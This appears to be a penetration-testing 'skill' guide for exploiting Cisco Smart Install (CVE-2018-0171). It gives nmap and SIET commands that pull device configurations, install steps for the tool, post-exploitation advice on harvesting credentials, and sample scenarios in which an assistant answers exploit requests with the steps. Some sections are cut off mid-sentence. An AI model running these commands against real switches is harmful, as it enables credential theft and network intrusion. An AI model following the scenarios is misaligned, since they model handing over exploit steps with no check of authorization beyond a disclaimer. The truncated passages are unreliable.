Cisco Smart Install Exploitation

Overview

Cisco Smart Install is a Cisco protocol designed to automate initial configuration and OS image loading for new Cisco hardware. By default, it's active on Cisco devices and uses TCP port 4786.

Critical Vulnerability: CVE-2018-0171

• CVSS Score: 9.8 (Critical)
• Year Discovered: 2018
• Impact: Buffer overflow allowing:
  • Forcible device reboot
  • Remote Code Execution (RCE)
  • Configuration exfiltration

Prerequisites

1. Authorized access only - This skill is for legitimate penetration testing on systems you own or have explicit permission to test
2. SIET Tool - Smart Install Exploitation Tool must be installed
3. Target device - Real Cisco hardware (virtual images don't have Smart Install)
4. Port 4786 open - Verify the target has Smart Install active

Quick Start

1. Verify Target

First, confirm port 4786 is open on the target:

nmap -p 4786 <target-ip>

Expected output:

PORT      STATE  SERVICE
4786/tcp  open   smart-install

2. Exfiltrate Configuration

Use SIET to extract the device configuration:

sudo python2 siet.py -g -i <target-ip>

Arguments:

• -g

  - Exfiltrate configuration from device

• -i

  - Set target IP address

3. Retrieve Configuration

The configuration file will be saved in the

tftp/

Complete Workflow

# Step 1: Navigate to SIET directory
cd ~/opt/tools/SIET

# Step 2: Run exfiltration (requires sudo)
sudo python2 siet.py -g -i 10.10.100.10

# Step 3: Check extracted configuration
cat tftp/<target-ip>.conf

SIET Tool Installation

If SIET is not installed:

git clone https://github.com/frostbits-security/SIET
cd SIET

Important Notes

• Real hardware required: Virtual Cisco images do not include Smart Install functionality
• Python 2: SIET requires Python 2 (

  python2

  command)
• Root privileges: The exploit requires sudo/root access
• Network access: You must be on the same network segment as the target

Post-Exploitation

Once you have the configuration:

1. Analyze for credentials - Look for usernames, passwords, enable secrets
2. Map network topology - Identify connected devices and interfaces
3. Find misconfigurations - Look for weak security settings
4. Identify attack vectors - Use configuration data to plan next steps

Safety & Ethics

⚠️ This skill is for authorized penetration testing only.

• Only test systems you own or have written permission to test
• Document all activities for your engagement
• Report findings to the appropriate stakeholders
• Do not use this for unauthorized access

Example Scenarios

Scenario 1: Initial Reconnaissance

User: "I found a Cisco switch at 192.168.1.50 with port 4786 open. How do I get its config?"

Response: Use SIET with the

-g

Scenario 2: Network Assessment

User: "Need to extract configs from all Cisco devices on the network for our pentest."

Response: Scan for port 4786, then run SIET against each target with Smart Install active.

Troubleshooting

tftp/

References

• SIET GitHub
• CVE-2018-0171 Details
• Cisco Smart Install Documentation